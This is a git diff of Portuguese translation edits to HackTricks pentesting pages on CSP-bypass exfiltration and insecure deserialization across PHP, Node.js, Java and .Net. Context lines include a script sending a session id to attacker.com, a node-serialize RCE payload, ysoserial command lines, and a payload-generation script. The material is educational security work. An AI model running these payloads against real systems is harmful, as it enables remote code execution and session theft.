Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
|
||||
### Localização
|
||||
|
||||
|
@ -706,7 +700,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
```
|
||||
### Meta tag
|
||||
|
||||
Você poderia redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
||||
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
|
@ -779,7 +773,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
@ -788,20 +782,20 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## Informação Básica
|
||||
## Informações Básicas
|
||||
|
||||
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
|
||||
|
||||
|
@ -28,7 +28,7 @@ No PHP, métodos mágicos específicos são utilizados durante os processos de s
|
|||
|
||||
* `__sleep`: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para confirmar dados pendentes ou realizar tarefas de limpeza semelhantes.
|
||||
* `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
|
||||
* `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
||||
* `__unserialize`: Este método é chamado no lugar de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
|
||||
* `__destruct`: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. Geralmente é usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.
|
||||
* `__toString`: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
|
||||
```php
|
||||
|
@ -130,12 +130,12 @@ $ser=serialize($o);
|
|||
### PHPGGC (ysoserial para PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de desserializações em PHP.\
|
||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma desserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||||
Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
|
||||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma desserialização no código-fonte** da aplicação, mas talvez consiga **abusar do código de extensões PHP externas.**\
|
||||
Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) por possíveis gadgets que você poderia abusar.
|
||||
|
||||
### Desserialização de metadados phar://
|
||||
|
||||
Se você encontrou uma LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Você pode tentar abusar de uma **desserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
||||
Se você encontrou uma LFI que apenas lê o arquivo e não executa o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Você pode tentar abusar de uma **desserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
||||
Para mais informações, leia o seguinte post:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
|
@ -216,7 +216,7 @@ Se você deseja aprender sobre essa técnica, **dê uma olhada no seguinte tutor
|
|||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
Essa biblioteca permite serializar funções. Exemplo:
|
||||
Esta biblioteca permite serializar funções. Exemplo:
|
||||
```javascript
|
||||
var y = {
|
||||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||||
|
@ -239,7 +239,7 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
|
|||
|
||||
Como pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||||
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
|
||||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código esteja **chamando `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
|
||||
De qualquer forma, você poderia simplesmente **modificar o objeto serializado** **adicionando alguns parênteses** para executar automaticamente a função serializada quando o objeto for desserializado.\
|
||||
No próximo trecho de código, **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||||
```javascript
|
||||
|
@ -253,7 +253,7 @@ var serialize = require('node-serialize');
|
|||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
||||
Pode encontrar [**aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
|
@ -278,7 +278,7 @@ funcster.deepDeserialize(desertest3)
|
|||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, sem quaisquer capacidades de desserialização embutidas. Os usuários são responsáveis por implementar seu próprio método para desserialização. Um uso direto do `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
|
||||
O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, sem quaisquer capacidades de desserialização integradas. Os usuários são responsáveis por implementar seu próprio método de desserialização. Um uso direto do `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
|
@ -312,7 +312,7 @@ No Java, **callbacks de desserialização são executados durante o processo de
|
|||
|
||||
#### Caixa Branca
|
||||
|
||||
Para identificar possíveis vulnerabilidades de serialização no código-fonte, procure por:
|
||||
Para identificar possíveis vulnerabilidades de serialização no código, procure por:
|
||||
|
||||
* Classes que implementam a interface `Serializable`.
|
||||
* Uso de `java.io.ObjectInputStream`, funções `readObject`, `readUnshare`.
|
||||
|
@ -341,7 +341,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
|||
```
|
||||
### Verificar se é vulnerável
|
||||
|
||||
Se você deseja **aprender como funciona uma exploração de desserialização Java**, você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md) e [**Carga Útil CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Se você deseja **aprender como funciona um exploit de desserialização Java**, você deve dar uma olhada em [**Desserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Desserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Teste de Caixa Branca
|
||||
|
||||
|
@ -352,19 +352,19 @@ grep -R InvokeTransformer .
|
|||
```
|
||||
Você poderia tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e para as quais o [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você poderia verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Você também pode usar o [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
||||
Ao executar o **gadgetinspector** (após construí-lo), não se preocupe com a quantidade de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-minuto.txt_. Por favor, note que o **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
||||
Ao executar o **gadgetinspector** (após compilá-lo), não se preocupe com a quantidade de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-minuto.txt_. Por favor, observe que o **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
||||
|
||||
#### Teste de Caixa Preta
|
||||
|
||||
Usando a extensão do Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essa informação, poderia ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||||
[**Leia mais sobre o GadgetProbe aqui**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
O GadgetProbe é focado em **desserializações do `ObjectInputStream`**.
|
||||
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essas informações, poderia ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||||
[**Leia mais para aprender sobre o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
O GadgetProbe é focado em **desserializações de `ObjectInputStream`**.
|
||||
|
||||
Usando a extensão do Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
||||
[**Leia mais sobre o Java Deserialization Scanner aqui.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
O Java Deserialization Scanner é focado em desserializações do **`ObjectInputStream`**.
|
||||
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
||||
[**Leia mais para aprender sobre o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
O Java Deserialization Scanner é focado em desserializações de **`ObjectInputStream`**.
|
||||
|
||||
Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de desserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não apenas ao **`ObjectInputStream`**, mas também a bibliotecas de desserialização **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||||
Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de desserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não apenas a `ObjectInputStream`, mas também a vulnerabilidades de desserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||||
[**Você pode encontrar mais informações sobre o Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Teste de Serialização**
|
||||
|
@ -376,9 +376,9 @@ Se você encontrar um objeto serializado Java sendo enviado para um aplicativo d
|
|||
|
||||
#### **ysoserial**
|
||||
|
||||
A principal ferramenta para explorar desserializações Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar o [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá o uso de comandos complexos (com pipes, por exemplo).\
|
||||
Observe que esta ferramenta é **centrada** em explorar o **`ObjectInputStream`**.\
|
||||
Eu começaria usando o payload "URLDNS" **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE sim.
|
||||
A principal ferramenta para explorar desserializações Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar o [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
|
||||
Observe que esta ferramenta é **centrada** em explorar **`ObjectInputStream`**.\
|
||||
Eu começaria usando o payload "URLDNS" **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE está.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -423,9 +423,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Ao criar um payload para **java.lang.Runtime.exec()** você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Ao criar um payload para **java.lang.Runtime.exec()** você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sinta-se à vontade para usar o script a seguir para criar **todos os possíveis payloads de execução de código** para Windows e Linux e então testá-los na página da web vulnerável:
|
||||
Sinta-se à vontade para usar o script a seguir para criar **todos os possíveis payloads de execução de código** para Windows e Linux e depois testá-los na página da web vulnerável:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
|
@ -496,7 +496,7 @@ O Java utiliza bastante a serialização para diversos fins, como:
|
|||
|
||||
#### Objetos Transientes
|
||||
|
||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
|
||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializado. Por exemplo:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
|
@ -543,7 +543,7 @@ return super.resolveClass(desc);
|
|||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Ele fornece uma maneira de garantir a desserialização dinamicamente, ideal para ambientes onde mudanças de código imediatas são impraticáveis.
|
||||
Ele fornece uma maneira de garantir a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas de código são impraticáveis.
|
||||
|
||||
Confira um exemplo em [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
|
@ -574,7 +574,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
|||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Artigo Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Artigo sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
|
@ -588,9 +588,9 @@ Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e com
|
|||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## JMS - Serviço de Mensagens Java
|
||||
## JMS - Java Message Service
|
||||
|
||||
> A API do **Serviço de Mensagens Java** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS faz parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS faz parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||
|
||||
### Produtos
|
||||
|
||||
|
@ -602,10 +602,9 @@ Existem vários produtos que usam esse middleware para enviar mensagens:
|
|||
|
||||
### Exploração
|
||||
|
||||
Basicamente, existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Isso significa que, nessa exploração, todos os **clientes que forem usar essa mensagem serão infectados**.
|
||||
Basicamente, existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**. Isso significa que, nessa exploração, todos os **clientes que forem usar essa mensagem serão infectados**.
|
||||
|
||||
Lembre-se de que, mesmo se um serviço for vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
Lembre-se de que, mesmo se um serviço for vulnerável (por estar desserializando de forma insegura a entrada do usuário), você ainda precisará encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável.
|
||||
|
||||
|
@ -630,11 +629,11 @@ O foco deve estar em serializadores que permitem que o tipo seja determinado por
|
|||
|
||||
#### BlackBox
|
||||
|
||||
A busca deve visar a string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso poderia incluir, mas não se limitar a, estruturas **JSON** ou **XML** com `TypeObject` ou `$type`.
|
||||
A busca deve visar a string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso pode incluir, mas não se limita a, estruturas **JSON** ou **XML** com `TypeObject` ou `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Após baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
||||
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar exploits de desserialização**. Após baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
||||
|
||||
Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, você pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + formatador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
|
@ -642,8 +641,8 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
|
|||
|
||||
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||||
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está sendo usada no back-end para desserializar a carga útil e usar a mesma para serializá-la)
|
||||
* **`--output`** usado para indicar se você deseja o exploit em formato **raw** ou codificado em **base64**. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console Linux, você pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON HTB, a carga útil funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
* **`--plugin`** o ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||
* **`--output`** usado para indicar se você deseja o exploit em formato **raw** ou codificado em **base64**. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console Linux, poderá ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON HTB, a carga útil funcionou em UTF-16LE e ASCII, mas isso não significa que sempre funcionará)._
|
||||
* **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Mais parâmetros do ysoserial.net
|
||||
|
||||
|
@ -651,7 +650,7 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
|
|||
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
|
||||
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores contendo "xml" (maiúsculas e minúsculas)
|
||||
|
||||
Exemplos do **ysoserial** para criar exploits:
|
||||
**Exemplos do ysoserial** para criar exploits:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
|
@ -694,46 +693,47 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||
return obj;
|
||||
}
|
||||
```
|
||||
O **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.\
|
||||
Portanto, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
|
||||
O código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso provavelmente significa que essa aplicação também é vulnerável.
|
||||
|
||||
Portanto, o parâmetro `--test` nos permite entender quais trechos de código são vulneráveis ao exploit de deserialização que o ysoserial.net pode criar.
|
||||
|
||||
### ViewState
|
||||
|
||||
Dê uma olhada neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net** para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||
Dê uma olhada neste POST sobre como tentar explorar o parâmetro \_\_ViewState do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.
|
||||
|
||||
### Prevenção
|
||||
|
||||
Para mitigar os riscos associados à deserialização no .Net:
|
||||
|
||||
* **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
|
||||
